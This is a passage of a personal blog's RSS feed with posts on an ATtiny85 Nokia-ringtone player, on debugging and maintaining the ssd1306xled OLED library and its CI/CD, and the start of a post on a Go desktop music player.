class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// note ON for 70% of duration&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;gain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// mute&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// silence for 30% of duration&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;Every note plays for 70% of its duration. The remaining 30% is silence. That gap between notes is what makes Nokia ringtones sound like Nokia ringtones. Without it, the Nokia Tune sounds like an organ. With it, it sounds like a phone.&lt;/p&gt; &lt;p&gt;I initially used 90/10. Too legato. The tunes sounded vaguely right but not recognizably Nokia. Switching to the 70/30 split made an immediate difference. Mission Impossible’s opening rhythm went from muddy to crisp.&lt;/p&gt; &lt;h2 id=&quot;the-timing-problem&quot;&gt;The timing problem&lt;/h2&gt; &lt;p&gt;The first version had a bug that manifested as a subtle drag in faster tunes. The loop for each note went: update display, play tone, wait for gap. The display update writes to the OLED over I2C – clearing pages, drawing the note name, rendering a pitch bar, updating the scrolling history. All of that takes time. About 20-30 milliseconds.&lt;/p&gt; &lt;p&gt;For a whole note at 120 BPM, 25ms of overhead in a 2-second note is barely noticeable. For a sixteenth note at 100 BPM, 25ms in a 150ms note adds 17% to the duration. That’s audible. Mission Impossible sounded sluggish. The rhythm dragged, especially during the fast repeated phrases.&lt;/p&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/nokia-composer/timing-480w.avif 480w, /assets/images/nokia-composer/timing-640w.avif 640w, /assets/images/nokia-composer/timing-960w.avif 960w, /assets/images/nokia-composer/timing-1280w.avif 1280w, /assets/images/nokia-composer/timing.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/nokia-composer/timing-480w.webp 480w, /assets/images/nokia-composer/timing-640w.webp 640w, /assets/images/nokia-composer/timing-960w.webp 960w, /assets/images/nokia-composer/timing-1280w.webp 1280w, /assets/images/nokia-composer/timing.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/png&quot; srcset=&quot;/assets/images/nokia-composer/timing-480w.png 480w, /assets/images/nokia-composer/timing-640w.png 640w, /assets/images/nokia-composer/timing.png 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/nokia-composer/timing.png&quot; alt=&quot;Timing fix: display update moved into silent gap&quot; class=&quot;&quot; width=&quot;1600&quot; height=&quot;560&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;p&gt;The fix was to rearrange the sequence. Instead of display-then-tone, the code plays the tone first, then uses the silent gap to update the display. A &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;millis()&lt;/code&gt; measurement tracks how long the display update takes, and the remaining gap time is adjusted accordingly:&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;n&quot;&gt;play_tone&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;freq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tone_dur&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Update display during the silent gap&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;t0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;millis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;draw_playback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tune_idx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;elapsed&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;millis&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;t0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gap_dur&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;elapsed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;play_tone&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gap_dur&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;elapsed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;The display update gets absorbed into time that was going to be silence anyway. No extra latency between notes. The rhythm stays tight.&lt;/p&gt; &lt;h2 id=&quot;the-display&quot;&gt;The display&lt;/h2&gt; &lt;p&gt;The OLED shows two screens. While idle, it displays the current tune name, its index in the list, and button hints (“A:Next B:Play”). During playback, it switches to the current note name, a horizontal pitch bar that stretches wider for higher frequencies, and a scrolling history of the last six notes along the bottom.&lt;/p&gt; &lt;p&gt;I went with the 6x8 pixel font exclusively. The larger 8x16 font looks nicer, but it pulls in 1,722 bytes of font data. On an 8KB chip, that’s over 20% of total flash consumed by letter shapes. The 6x8 font is 576 bytes and perfectly readable on a 128x64 screen.&lt;/p&gt; &lt;p&gt;One thing I learned: centering text on the OLED requires knowing the string length in advance. The font is 6 pixels wide per character, the screen is 128 pixels wide. A quick calculation at draw time positions the text properly. Not hard, but the kind of thing you don’t think about until “Mission Impossible” overflows the first line and wraps into garbage on the second.&lt;/p&gt; &lt;h2 id=&quot;seven-tunes-in-59-flash&quot;&gt;Seven tunes in 59% flash&lt;/h2&gt; &lt;p&gt;The current build carries seven tunes:&lt;/p&gt; &lt;table&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;Tune&lt;/th&gt; &lt;th&gt;BPM&lt;/th&gt; &lt;th&gt;Notes&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;Nokia Tune&lt;/td&gt; &lt;td&gt;120&lt;/td&gt; &lt;td&gt;The original. Everyone knows it.&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Harry Potter&lt;/td&gt; &lt;td&gt;125&lt;/td&gt; &lt;td&gt;Hedwig’s Theme. The dotted notes give it that waltz feel.&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Imperial March&lt;/td&gt; &lt;td&gt;112&lt;/td&gt; &lt;td&gt;Darth Vader’s entrance music. Heavy on the low A’s.&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Mission Impossible&lt;/td&gt; &lt;td&gt;100&lt;/td&gt; &lt;td&gt;The one with the iconic 5/4 rhythm. Fast sixteenth notes.&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Nacht&lt;/td&gt; &lt;td&gt;125&lt;/td&gt; &lt;td&gt;Lots of thirty-second note trills that test the parser.&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Star Wars&lt;/td&gt; &lt;td&gt;100&lt;/td&gt; &lt;td&gt;The main theme. Opens with those three repeated C-sharps.&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Airtel&lt;/td&gt; &lt;td&gt;140&lt;/td&gt; &lt;td&gt;The Indian telecom jingle. Higher BPM with dotted eighth patterns.&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;p&gt;All seven tunes, plus the parser, frequency tables, display code, button handling, and the ssd1306xled library, fit in 4,822 bytes. That’s 59% of the ATtiny85’s flash. There’s room for about 15 more tunes before things get tight.&lt;/p&gt; &lt;p&gt;Adding a new tune is one PROGMEM string and a BPM value:&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tune_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PROGMEM&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;My Tune&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tune_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PROGMEM&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;4c 4d 4e 4f 4g 4a 4b 4c2&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;The Nokia Composer notation is human-readable enough that you can transcribe tunes by ear, or find thousands of transcriptions online from the era when people actually did this for fun.&lt;/p&gt; &lt;h2 id=&quot;try-it&quot;&gt;Try it&lt;/h2&gt; &lt;p&gt;The whole thing runs in your browser. No hardware needed. I put it on Wokwi:&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://wokwi.com/projects/460046833872540673&quot;&gt;Nokia Composer on Wokwi&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Click “Play” to start the simulation. The blue “Next” button cycles through tunes. The green “Play” button starts playback. You’ll hear the buzzer through your speakers.&lt;/p&gt; &lt;p&gt;The library is at &lt;a href=&quot;https://github.com/tejashwikalptaru/ssd1306xled&quot;&gt;github.com/tejashwikalptaru/ssd1306xled&lt;/a&gt;, and the &lt;a href=&quot;https://tejashwikalptaru.github.io/ssd1306xled/&quot;&gt;documentation site&lt;/a&gt; has the full API reference.&lt;/p&gt; &lt;h2 id=&quot;the-thing-about-square-waves&quot;&gt;The thing about square waves&lt;/h2&gt; &lt;p&gt;There’s something I keep coming back to about this project. The Nokia 3310 was released in 2000. It had a monochrome screen, a piezo buzzer, and enough processing power to play Snake. The ringtones were square waves – literally the simplest possible waveform. On and off. High and low. Binary, in the most literal sense.&lt;/p&gt; &lt;p&gt;Twenty-six years later, I’m playing those same square waves through a chip that costs less than a dollar, displayed on an OLED that would have been science fiction in 2000. The notation strings that people used to text each other still work. The format is so simple it’s almost impossible to break.&lt;/p&gt; &lt;p&gt;The Nokia Tune, compressed into 56 characters of text, played through an 8-pin microcontroller the size of a fingernail. The tunes survived because they were small enough to share, simple enough to remember, and annoying enough to never forget.&lt;/p&gt; &lt;p&gt;I think that’s worth building.&lt;/p&gt; </description> <pubDate>Tue, 31 Mar 2026 00:00:00 +0000</pubDate> <link>https://tejashwi.in/nokia-composer-attiny85-ringtone-player/</link> <guid isPermaLink="true">https://tejashwi.in/nokia-composer-attiny85-ringtone-player/</guid> <category>attiny85</category> <category>arduino</category> <category>nokia</category> <category>ringtones</category> <category>oled</category> <category>ssd1306xled</category> <category>wokwi</category> <category>embedded</category> <category>retro</category> <category>Electronics</category> <category>Open Source</category> </item> <item> <title>The journey of ssd1306xled: from debugging to open source maintenance</title> <description>&lt;p&gt;I had some ATtiny85 chips lying around my desk. These 8-pin microcontrollers are popular for small projects: 8KB of flash, 6 GPIO pins, and enough grunt to run simple games. I wanted to build something with them.&lt;/p&gt; &lt;p&gt;I found Daniel Champagne’s &lt;a href=&quot;https://www.tinyjoypad.com/tiny-joypad&quot;&gt;TinyJoypad&lt;/a&gt; project. Daniel had written several games for the ATtiny85’s constraints. Space shooters, platformers, puzzle games. All running on a chip smaller than a fingernail, displayed on a tiny OLED screen. I decided to build my own handheld console.&lt;/p&gt; &lt;p&gt;I wrote about &lt;a href=&quot;/a-tiny-game-console-based-on-attiny85/&quot;&gt;the hardware build&lt;/a&gt; back in 2020. This post is about what happened after.&lt;/p&gt; &lt;h2 id=&quot;nothing-on-screen&quot;&gt;Nothing on screen&lt;/h2&gt; &lt;p&gt;The project seemed straightforward. Wire up the ATtiny85, connect an SSD1306 OLED display, compile Daniel’s code, play some games. The code compiled without errors. I uploaded it to the chip.&lt;/p&gt; &lt;p&gt;The screen stayed black.&lt;/p&gt; &lt;p&gt;I tried different OLED modules. I had several from AliExpress and Banggood. All of them showed nothing. I connected the same screens to an Arduino Uno using Adafruit’s library. They all worked. The screens weren’t broken. The driver was.&lt;/p&gt; &lt;p&gt;Daniel’s code used &lt;a href=&quot;https://github.com/Defragster/ssd1306xled&quot;&gt;ssd1306xled&lt;/a&gt;, a lightweight library designed for ATtiny chips. I pulled up the code and started reading.&lt;/p&gt; &lt;h2 id=&quot;down-the-rabbit-hole&quot;&gt;Down the rabbit hole&lt;/h2&gt; &lt;p&gt;The ssd1306xled library came from the &lt;a href=&quot;https://tinusaur.org/&quot;&gt;TinuSaur project&lt;/a&gt; on BitBucket, written by Neven Boyanov. It’s a minimal OLED driver for resource-constrained microcontrollers, which made it a good fit for the ATtiny85’s 8KB flash limit.&lt;/p&gt; &lt;p&gt;My first suspicion was chip compatibility. Many OLED screens from Chinese suppliers claim to use the SSD1306 controller but actually use SSD1315 or SSH1106 variants. These chips are similar but have slightly different initialization sequences. The TinuSaur team had documented &lt;a href=&quot;https://tinusaur.org/tag/ssd1306xled/&quot;&gt;compatibility issues&lt;/a&gt; with mislabeled screens.&lt;/p&gt; &lt;p&gt;I cloned the original BitBucket repository and tried various initialization sequences. Nothing worked. I documented my findings in &lt;a href=&quot;https://bitbucket.org/tinusaur/ssd1306xled/issues/5/issue-with-ssd1306&quot;&gt;issue #5&lt;/a&gt; on the TinuSaur project.&lt;/p&gt; &lt;p&gt;After more debugging, I realized the problem wasn’t the OLED chip variant at all. The I2C implementation was broken.&lt;/p&gt; &lt;p&gt;I2C is a communication protocol that lets microcontrollers talk to peripherals like OLED screens. The ATtiny85 doesn’t have dedicated I2C hardware. Instead, it has a Universal Serial Interface (USI) that can be configured to behave like I2C. Getting this configuration right is tricky. Timing matters. The sequence of start conditions, acknowledgments, and stop conditions has to be precise.&lt;/p&gt; &lt;p&gt;The ssd1306xled library’s USI configuration wasn’t generating proper I2C signals. The OLED controller never received valid commands because the protocol was malformed.&lt;/p&gt; &lt;h2 id=&quot;the-fix&quot;&gt;The fix&lt;/h2&gt; &lt;p&gt;I couldn’t just switch to a different library. The ATtiny85 has 8KB of flash. Daniel’s games used about 6KB. That left roughly 2KB for everything else, including the OLED driver. Libraries like Adafruit’s SSD1306 or Tiny4kOled are well-tested, but they’re too large. They would push the compiled code over the 8KB limit.&lt;/p&gt; &lt;p&gt;I needed ssd1306xled to work. I needed its small footprint. I just needed the I2C implementation to function.&lt;/p&gt; &lt;p&gt;I found &lt;a href=&quot;https://github.com/technoblogy/tiny-i2c&quot;&gt;TinyI2C&lt;/a&gt; by David Johnson-Davies. Unlike the standard Arduino Wire library, TinyI2C was written for resource-constrained AVR chips. No buffers eating up RAM. No artificial limits on transfer sizes. Clean, minimal code that properly configured the USI for I2C communication.&lt;/p&gt; &lt;p&gt;The fix was surgical: replace ssd1306xled’s broken I2C functions with TinyI2C’s implementation.&lt;/p&gt; &lt;p&gt;The key functions:&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;I2CInit()&lt;/code&gt; configures the USI registers for two-wire mode. It sets up the data and clock pins with proper pull-ups and clears the status flags.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;I2CStart()&lt;/code&gt; generates the I2C start condition by releasing SCL, pulling SDA low, then transmitting the slave address. It checks for acknowledgment from the OLED controller.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;I2CTransfer()&lt;/code&gt; handles bit-by-bit clock generation. It toggles the clock via USICR, waits for SCL to stabilize, applies the timing delays defined by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DELAY_T2TWI&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DELAY_T4TWI&lt;/code&gt;, and continues until the transfer completes.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;I2CStop()&lt;/code&gt; terminates communication with a proper stop condition: SDA low, release SCL, wait for stabilization, then release SDA.&lt;/p&gt; &lt;p&gt;The timing constants matter. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TWI_FAST_MODE&lt;/code&gt; flag controls whether the library uses standard (100kHz) or fast (400kHz) I2C timing. Getting these delays wrong means garbled communication or no communication at all.&lt;/p&gt; &lt;p&gt;I merged the working I2C code into ssd1306xled. Compiled. Uploaded.&lt;/p&gt; &lt;p&gt;The screen lit up. A space invader appeared. The game was running.&lt;/p&gt; &lt;h2 id=&quot;sharing-the-fix&quot;&gt;Sharing the fix&lt;/h2&gt; &lt;p&gt;I created a fork on &lt;a href=&quot;https://github.com/tejashwikalptaru/ssd1306xled&quot;&gt;GitHub&lt;/a&gt; with attribution to Neven Boyanov for the original ssd1306xled driver and David Johnson-Davies for the I2C implementation.&lt;/p&gt; &lt;p&gt;I published the library to &lt;a href=&quot;https://registry.platformio.org/libraries/tejashwikalptaru/ssd1306xled&quot;&gt;PlatformIO&lt;/a&gt; and the Arduino Library Manager. Added documentation with wiring diagrams, example code, and setup instructions. Wrote &lt;a href=&quot;/a-tiny-game-console-based-on-attiny85/&quot;&gt;the blog post about the game console build&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Then I moved on to other projects.&lt;/p&gt; &lt;h2 id=&quot;unexpected-growth&quot;&gt;Unexpected growth&lt;/h2&gt; &lt;p&gt;I didn’t expect anyone else to use the library. I’d fixed my specific problem and shared the solution in case someone else hit the same wall. That seemed like enough.&lt;/p&gt; &lt;p&gt;Six years later, the repository has 103 stars and 8 forks. Developers email me with questions. Issues appear from people building projects I never imagined.&lt;/p&gt; &lt;p&gt;Why did it take off? The original library was broken for many users, not just me. Anyone trying to use ssd1306xled with cheap OLED screens would hit the same blank screen. My fork was the version that worked. The small size still mattered too. People building projects on the ATtiny85’s 8KB limit needed a small driver, and Adafruit’s library is too large for that. Clear documentation probably helped. Connection diagrams, example sketches, explanations of what the library does and how to use it.&lt;/p&gt; &lt;p&gt;The library fills a specific niche: minimal OLED driver for minimal microcontrollers. That niche is small but real.&lt;/p&gt; &lt;h2 id=&quot;community-contributions&quot;&gt;Community contributions&lt;/h2&gt; &lt;p&gt;The surprising part of maintaining this library has been watching other developers improve it in ways I never considered.&lt;/p&gt; &lt;p&gt;In July 2024, a developer named &lt;a href=&quot;https://github.com/Lorandil&quot;&gt;Lorandil&lt;/a&gt; submitted &lt;a href=&quot;https://github.com/tejashwikalptaru/ssd1306xled/pull/7&quot;&gt;PR #7&lt;/a&gt;. They added &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssd1306_tiny_init()&lt;/code&gt;, a new initialization function that saves 52 bytes of flash by skipping the initial screen fill. When you’re fighting for every byte on an ATtiny85, 52 bytes matters. Some projects were hitting the flash limit with the standard init function. Lorandil’s contribution let them fit.&lt;/p&gt; &lt;p&gt;In January 2026, Lorandil came back with &lt;a href=&quot;https://github.com/tejashwikalptaru/ssd1306xled/pull/11&quot;&gt;PR #11&lt;/a&gt;: vertical addressing mode support. The SSD1306 can address pixels either horizontally (row by row) or vertically (column by column). The original library only supported horizontal mode. Vertical addressing lets you use different rendering approaches. The new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssd1306_tiny_init_vertical()&lt;/code&gt; function opened possibilities I hadn’t thought about when I first fixed the library.&lt;/p&gt; &lt;p&gt;There’s currently an &lt;a href=&quot;https://github.com/tejashwikalptaru/ssd1306xled/issues/17&quot;&gt;open issue #17&lt;/a&gt; from a user named Brian working on sprite animations. The library is being used for things beyond the simple static displays I originally built it for.&lt;/p&gt; &lt;p&gt;You solve your problem. You share your solution. Then people you’ve never met improve it for their problems. The result is better than what any one person would have built alone.&lt;/p&gt; &lt;h2 id=&quot;professionalizing-the-project&quot;&gt;Professionalizing the project&lt;/h2&gt; &lt;p&gt;For years, releasing new versions meant manually editing version numbers, creating GitHub releases, and hoping I didn’t forget something. As contributions increased, this became unsustainable. I needed automation.&lt;/p&gt; &lt;p&gt;I built three GitHub Actions workflows that handle the release process.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pr-checks.yml&lt;/code&gt; runs on every pull request. It validates &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;library.json&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;library.properties&lt;/code&gt; to ensure they have required fields, checks that version numbers match between both files, compiles the library against the ATtiny85 target using PlatformIO, and builds all example sketches. If any check fails, the PR can’t be merged.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pr-changelog.yml&lt;/code&gt; uses Google’s Gemini API to generate changelogs. When a PR is opened or updated, the workflow extracts commit messages, changed files, and diffs. It sends this context to Gemini with instructions to summarize the changes. The generated changelog appears as a comment on the PR and gets saved as an artifact for release notes.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;release.yml&lt;/code&gt; triggers when code merges to master. It identifies the merged PR, retrieves the AI-generated changelog, bumps the version number following semantic versioning, creates a git tag, generates a GitHub release, and publishes to the PlatformIO registry. A skip mechanism via PR labels prevents releases when merging non-code changes like documentation updates.&lt;/p&gt; &lt;p&gt;The CI/CD pipeline turned a hobby project into something that works like a professional library. Contributors can submit PRs knowing their code will be tested. Releases happen consistently without manual intervention.&lt;/p&gt; &lt;h2 id=&quot;what-i-learned&quot;&gt;What I learned&lt;/h2&gt; &lt;p&gt;When code compiles but doesn’t work, the issue is often deeper than you expect. I spent time investigating chip compatibility when the real problem was the communication protocol. Trace problems to the lowest level.&lt;/p&gt; &lt;p&gt;The 8KB flash limit ruled out obvious solutions. I couldn’t use a larger, well-tested library. I had to fix the small library that fit. Constraints removed options and made the path forward clearer.&lt;/p&gt; &lt;p&gt;The fixed library credits Neven Boyanov’s original work and David Johnson-Davies’s I2C implementation. Being explicit about standing on others’ shoulders matters. People trust projects that credit their sources.&lt;/p&gt; &lt;p&gt;The README, example code, and wiring diagrams help users. They also help me when I return to the project after months away.&lt;/p&gt; &lt;p&gt;CI/CD reduces friction for contributions. When someone submits a PR, automated checks tell them if their code works. When I merge changes, automated releases handle versioning and publishing. Less manual work means more time for actual improvements.&lt;/p&gt; &lt;p&gt;The problem I solved wasn’t unique. Other developers had the same OLED screens, the same blank displays, the same frustration. Publishing my fix helped people I’ll never meet.&lt;/p&gt; &lt;h2 id=&quot;six-years-later&quot;&gt;Six years later&lt;/h2&gt; &lt;p&gt;What started as a weekend debugging session is now a maintained library with users around the world. The codebase is cleaner than what I originally wrote. The CI/CD pipeline is more sophisticated than some professional projects I’ve worked on. Contributors have added features I never imagined needing.&lt;/p&gt; &lt;p&gt;I still get notifications when someone opens an issue or submits a PR. Each one is a reminder that open source works through accumulation. Small fixes, modest improvements, better documentation. No single contribution is dramatic, but they compound over time.&lt;/p&gt; &lt;p&gt;The most recent thing I built with it is a &lt;a href=&quot;/nokia-composer-attiny85-ringtone-player/&quot;&gt;Nokia Composer ringtone player&lt;/a&gt;, seven tunes and the display code inside 59% of the ATtiny85’s flash, which is a decent demonstration of why the small driver was worth fixing in the first place.&lt;/p&gt; &lt;p&gt;If you’re building projects on ATtiny85 or similar constrained microcontrollers, the library is at &lt;a href=&quot;https://github.com/tejashwikalptaru/ssd1306xled&quot;&gt;github.com/tejashwikalptaru/ssd1306xled&lt;/a&gt;. If something doesn’t work, open an issue. If you have an improvement, submit a PR.&lt;/p&gt; &lt;p&gt;Thanks to Neven Boyanov for the original ssd1306xled, David Johnson-Davies for TinyI2C, Daniel Champagne for the TinyJoypad games that started this project, and everyone who has contributed code, reported issues, or just used the library to build something.&lt;/p&gt; </description> <pubDate>Tue, 03 Feb 2026 00:00:00 +0000</pubDate> <link>https://tejashwi.in/journey-of-ssd1306xled-library/</link> <guid isPermaLink="true">https://tejashwi.in/journey-of-ssd1306xled-library/</guid> <category>attiny85</category> <category>arduino</category> <category>open-source</category> <category>embedded</category> <category>i2c</category> <category>oled</category> <category>ci-cd</category> <category>Electronics</category> <category>Open Source</category> </item> <item> <title>GoTune: Exploring Clean Architecture in Desktop Applications</title> <description>&lt;p&gt;Back in college, I built a Windows music player called Tejash Player using C and the Win32 API. It worked well enough to get published on &lt;a href=&quot;https://www.softpedia.com/get/Multimedia/Audio/Audio-Players/Tejash-Player.shtml&quot;&gt;Softpedia&lt;/a&gt;, but the code was a mess. UI tangled into business logic, no separation of concerns, impossible to test. But it played music, so I shipped it.&lt;/p&gt; &lt;p&gt;A decade later, I spend most of my time building backend systems with Clean Architecture and Domain-Driven Design. These patterns are second nature in server-side development. But I kept wondering: do they actually work for desktop applications? GUI frameworks manage state, event loops, and user interactions in ways that feel fundamentally different from handling HTTP requests. Would Clean Architecture help or just add ceremony?&lt;/p&gt; &lt;p&gt;When I found Fyne, a Go GUI framework, I decided to find out by rebuilding that old music player.&lt;/p&gt; &lt;div class=&quot;text-center&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/gotune/light-480w.avif 480w, /assets/images/gotune/light-640w.avif 640w, /assets/images/gotune/light-960w.avif 960w, /assets/images/gotune/light-1280w.avif 1280w, /assets/images/gotune/light.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; 